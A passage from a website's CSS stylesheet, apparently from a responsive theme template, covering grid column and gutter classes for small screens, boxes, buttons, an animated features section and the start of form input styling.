58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-small {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-small {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-small {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-small {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-small {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-small {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-small {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-small {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-small {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-small {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-small {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xsmall {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xsmall {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xsmall {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xsmall {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xsmall {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xsmall {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xsmall {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xsmall {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xsmall {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xsmall {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xsmall {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xsmall {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xsmall {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xsmall {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xsmall {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xsmall {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-xsmall {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xsmall {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xsmall {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xsmall {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xsmall {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xsmall {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xsmall {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xsmall {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xsmall {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Box */\n\n\t.box {\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin-bottom: 2em;\n\t\tpadding: 1.5em;\n\t}\n\n\t\t.box > :last-child,\n\t\t.box > :last-child > :last-child,\n\t\t.box > :last-child > :last-child > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.box.alt {\n\t\t\tborder: 0;\n\t\t\tborder-radius: 0;\n\t\t\tpadding: 0;\n\t\t}\n\n/* Button */\n\n\tinput[type=\"submit\"],\n\tinput[type=\"reset\"],\n\tinput[type=\"button\"],\n\tbutton,\n\t.button {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\t-moz-transition: border-color 0.2s ease;\n\t\t-webkit-transition: border-color 0.2s ease;\n\t\t-ms-transition: border-color 0.2s ease;\n\t\ttransition: border-color 0.2s ease;\n\t\tbackground-color: transparent;\n\t\tborder: solid 1px !important;\n\t\tborder-color: rgba(255, 255, 255, 0.15) !important;\n\t\tborder-radius: 3em;\n\t\tcolor: #ffffff !important;\n\t\tcursor: pointer;\n\t\tdisplay: inline-block;\n\t\tfont-size: 0.6em;\n\t\tfont-weight: bold;\n\t\theight: calc(4.75em + 2px);\n\t\tletter-spacing: 0.25em;\n\t\tline-height: 4.75em;\n\t\toutline: 0;\n\t\tpadding: 0 3.75em;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\ttext-decoration: none;\n\t\ttext-transform: uppercase;\n\t\twhite-space: nowrap;\n\t}\n\n\t\tinput[type=\"submit\"]:after,\n\t\tinput[type=\"reset\"]:after,\n\t\tinput[type=\"button\"]:after,\n\t\tbutton:after,\n\t\t.button:after {\n\t\t\t-moz-transform: scale(0.25);\n\t\t\t-webkit-transform: scale(0.25);\n\t\t\t-ms-transform: scale(0.25);\n\t\t\ttransform: scale(0.25);\n\t\t\tpointer-events: none;\n\t\t\t-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;\n\t\t\t-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;\n\t\t\t-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;\n\t\t\ttransition: opacity 0.2s ease, transform 0.2s ease;\n\t\t\tbackground: #ffffff;\n\t\t\tborder-radius: 3em;\n\t\t\tcontent: '';\n\t\t\theight: 100%;\n\t\t\tleft: 0;\n\t\t\topacity: 0;\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].icon:before,\n\t\tinput[type=\"reset\"].icon:before,\n\t\tinput[type=\"button\"].icon:before,\n\t\tbutton.icon:before,\n\t\t.button.icon:before {\n\t\t\tmargin-right: 0.75em;\n\t\t}\n\n\t\tinput[type=\"submit\"].fit,\n\t\tinput[type=\"reset\"].fit,\n\t\tinput[type=\"button\"].fit,\n\t\tbutton.fit,\n\t\t.button.fit {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].small,\n\t\tinput[type=\"reset\"].small,\n\t\tinput[type=\"button\"].small,\n\t\tbutton.small,\n\t\t.button.small {\n\t\t\tfont-size: 0.4em;\n\t\t}\n\n\t\tinput[type=\"submit\"].large,\n\t\tinput[type=\"reset\"].large,\n\t\tinput[type=\"button\"].large,\n\t\tbutton.large,\n\t\t.button.large {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\tinput[type=\"submit\"].primary,\n\t\tinput[type=\"reset\"].primary,\n\t\tinput[type=\"button\"].primary,\n\t\tbutton.primary,\n\t\t.button.primary {\n\t\t\tbackground-color: #ffffff;\n\t\t\tcolor: #312450 !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"].primary:after,\n\t\t\tinput[type=\"reset\"].primary:after,\n\t\t\tinput[type=\"button\"].primary:after,\n\t\t\tbutton.primary:after,\n\t\t\t.button.primary:after {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\tinput[type=\"submit\"].disabled, input[type=\"submit\"]:disabled,\n\t\tinput[type=\"reset\"].disabled,\n\t\tinput[type=\"reset\"]:disabled,\n\t\tinput[type=\"button\"].disabled,\n\t\tinput[type=\"button\"]:disabled,\n\t\tbutton.disabled,\n\t\tbutton:disabled,\n\t\t.button.disabled,\n\t\t.button:disabled {\n\t\t\tcursor: default;\n\t\t\topacity: 0.5;\n\t\t\tpointer-events: none;\n\t\t}\n\n\t\tinput[type=\"submit\"]:hover,\n\t\tinput[type=\"reset\"]:hover,\n\t\tinput[type=\"button\"]:hover,\n\t\tbutton:hover,\n\t\t.button:hover {\n\t\t\tborder-color: rgba(255, 255, 255, 0.55) !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:after,\n\t\t\tinput[type=\"reset\"]:hover:after,\n\t\t\tinput[type=\"button\"]:hover:after,\n\t\t\tbutton:hover:after,\n\t\t\t.button:hover:after {\n\t\t\t\topacity: 0.05;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:active,\n\t\t\tinput[type=\"reset\"]:hover:active,\n\t\t\tinput[type=\"button\"]:hover:active,\n\t\t\tbutton:hover:active,\n\t\t\t.button:hover:active {\n\t\t\t\tborder-color: #ffffff !important;\n\t\t\t}\n\n\t\t\t\tinput[type=\"submit\"]:hover:active:after,\n\t\t\t\tinput[type=\"reset\"]:hover:active:after,\n\t\t\t\tinput[type=\"button\"]:hover:active:after,\n\t\t\t\tbutton:hover:active:after,\n\t\t\t\t.button:hover:active:after {\n\t\t\t\t\topacity: 0.1;\n\t\t\t\t}\n\n/* Features */\n\n\t.features {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-wrap: wrap;\n\t\t-webkit-flex-wrap: wrap;\n\t\t-ms-flex-wrap: wrap;\n\t\tflex-wrap: wrap;\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\t.features section {\n\t\t\tpadding: 3.5em 3em 1em 7em ;\n\t\t\twidth: 50%;\n\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\t.features section:nth-child(-n + 2) {\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2n) {\n\t\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t}\n\n\t\t\t.features section .icon {\n\t\t\t\t-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;\n\t\t\t\t-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;\n\t\t\t\t-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;\n\t\t\t\ttransition: opacity 0.5s ease, transform 0.5s ease;\n\t\t\t\t-moz-transition-delay: 1s;\n\t\t\t\t-webkit-transition-delay: 1s;\n\t\t\t\t-ms-transition-delay: 1s;\n\t\t\t\ttransition-delay: 1s;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t\tposition: absolute;\n\t\t\t\tleft: 3em;\n\t\t\t\ttop: 3em;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t\t.features section:nth-child(1) .icon {\n\t\t\t\t-moz-transition-delay: 0.15s;\n\t\t\t\t-webkit-transition-delay: 0.15s;\n\t\t\t\t-ms-transition-delay: 0.15s;\n\t\t\t\ttransition-delay: 0.15s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2) .icon {\n\t\t\t\t-moz-transition-delay: 0.3s;\n\t\t\t\t-webkit-transition-delay: 0.3s;\n\t\t\t\t-ms-transition-delay: 0.3s;\n\t\t\t\ttransition-delay: 0.3s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(3) .icon {\n\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\ttransition-delay: 0.45s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(4) .icon {\n\t\t\t\t-moz-transition-delay: 0.6s;\n\t\t\t\t-webkit-transition-delay: 0.6s;\n\t\t\t\t-ms-transition-delay: 0.6s;\n\t\t\t\ttransition-delay: 0.6s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(5) .icon {\n\t\t\t\t-moz-transition-delay: 0.75s;\n\t\t\t\t-webkit-transition-delay: 0.75s;\n\t\t\t\t-ms-transition-delay: 0.75s;\n\t\t\t\ttransition-delay: 0.75s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(6) .icon {\n\t\t\t\t-moz-transition-delay: 0.9s;\n\t\t\t\t-webkit-transition-delay: 0.9s;\n\t\t\t\t-ms-transition-delay: 0.9s;\n\t\t\t\ttransition-delay: 0.9s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(7) .icon {\n\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\ttransition-delay: 1.05s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(8) .icon {\n\t\t\t\t-moz-transition-delay: 1.2s;\n\t\t\t\t-webkit-transition-delay: 1.2s;\n\t\t\t\t-ms-transition-delay: 1.2s;\n\t\t\t\ttransition-delay: 1.2s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(9) .icon {\n\t\t\t\t-moz-transition-delay: 1.35s;\n\t\t\t\t-webkit-transition-delay: 1.35s;\n\t\t\t\t-ms-transition-delay: 1.35s;\n\t\t\t\ttransition-delay: 1.35s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(10) .icon {\n\t\t\t\t-moz-transition-delay: 1.5s;\n\t\t\t\t-webkit-transition-delay: 1.5s;\n\t\t\t\t-ms-transition-delay: 1.5s;\n\t\t\t\ttransition-delay: 1.5s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(11) .icon {\n\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\ttransition-delay: 1.65s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(12) .icon {\n\t\t\t\t-moz-transition-delay: 1.8s;\n\t\t\t\t-webkit-transition-delay: 1.8s;\n\t\t\t\t-ms-transition-delay: 1.8s;\n\t\t\t\ttransition-delay: 1.8s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(13) .icon {\n\t\t\t\t-moz-transition-delay: 1.95s;\n\t\t\t\t-webkit-transition-delay: 1.95s;\n\t\t\t\t-ms-transition-delay: 1.95s;\n\t\t\t\ttransition-delay: 1.95s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(14) .icon {\n\t\t\t\t-moz-transition-delay: 2.1s;\n\t\t\t\t-webkit-transition-delay: 2.1s;\n\t\t\t\t-ms-transition-delay: 2.1s;\n\t\t\t\ttransition-delay: 2.1s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(15) .icon {\n\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\ttransition-delay: 2.25s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(16) .icon {\n\t\t\t\t-moz-transition-delay: 2.4s;\n\t\t\t\t-webkit-transition-delay: 2.4s;\n\t\t\t\t-ms-transition-delay: 2.4s;\n\t\t\t\ttransition-delay: 2.4s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(17) .icon {\n\t\t\t\t-moz-transition-delay: 2.55s;\n\t\t\t\t-webkit-transition-delay: 2.55s;\n\t\t\t\t-ms-transition-delay: 2.55s;\n\t\t\t\ttransition-delay: 2.55s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(18) .icon {\n\t\t\t\t-moz-transition-delay: 2.7s;\n\t\t\t\t-webkit-transition-delay: 2.7s;\n\t\t\t\t-ms-transition-delay: 2.7s;\n\t\t\t\ttransition-delay: 2.7s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(19) .icon {\n\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\ttransition-delay: 2.85s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(20) .icon {\n\t\t\t\t-moz-transition-delay: 3s;\n\t\t\t\t-webkit-transition-delay: 3s;\n\t\t\t\t-ms-transition-delay: 3s;\n\t\t\t\ttransition-delay: 3s;\n\t\t\t}\n\n\t\t.features.inactive section .icon {\n\t\t\t-moz-transform: scale(0.5);\n\t\t\t-webkit-transform: scale(0.5);\n\t\t\t-ms-transform: scale(0.5);\n\t\t\ttransform: scale(0.5);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.features {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.features section {\n\t\t\t\t\tborder-top-width: 1px !important;\n\t\t\t\t\tborder-left-width: 0 !important;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\t.features section:first-child {\n\t\t\t\t\t\tborder-top-width: 0 !important;\n\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2.5em 1.5em 0.1em 5.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 1.5em;\n\t\t\t\t\ttop: 2em;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2em 1.5em 0.1em 1.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 0;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\ttop: 0;\n\t\t\t\t}\n\n\t\t}\n\n/* Form */\n\n\tform {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tform > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\tform > .fields {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-wrap: wrap;\n\t\t\t-webkit-flex-wrap: wrap;\n\t\t\t-ms-flex-wrap: wrap;\n\t\t\tflex-wrap: wrap;\n\t\t\twidth: calc(100% + 3em);\n\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t}\n\n\t\t\tform > .fields > .field {\n\t\t\t\t-moz-flex-grow: 0;\n\t\t\t\t-webkit-flex-grow: 0;\n\t\t\t\t-ms-flex-grow: 0;\n\t\t\t\tflex-grow: 0;\n\t\t\t\t-moz-flex-shrink: 0;\n\t\t\t\t-webkit-flex-shrink: 0;\n\t\t\t\t-ms-flex-shrink: 0;\n\t\t\t\tflex-shrink: 0;\n\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t}\n\n\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\twidth: calc(50% - 0.75em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\twidth: calc(100%/3 - 0.5em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\twidth: calc(25% - 0.375em);\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tform > .fields {\n\t\t\t\twidth: calc(100% + 3em);\n\t\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t\t}\n\n\t\t\t\tform > .fields > .field {\n\t\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t}\n\n\tlabel {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.7em 0;\n\t\tdisplay: block;\n\t\tfont-size: 1.1em;\n\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tinput[type=\"tel\"],\n\tselect,\n\ttextarea {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: none;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tcolor: inherit;\n\t\tdisplay: block;\n\t\toutline: 0;\n\t\tpadding: 0 1em;\n\t\ttext-decoration: none;\n\t\twidth: 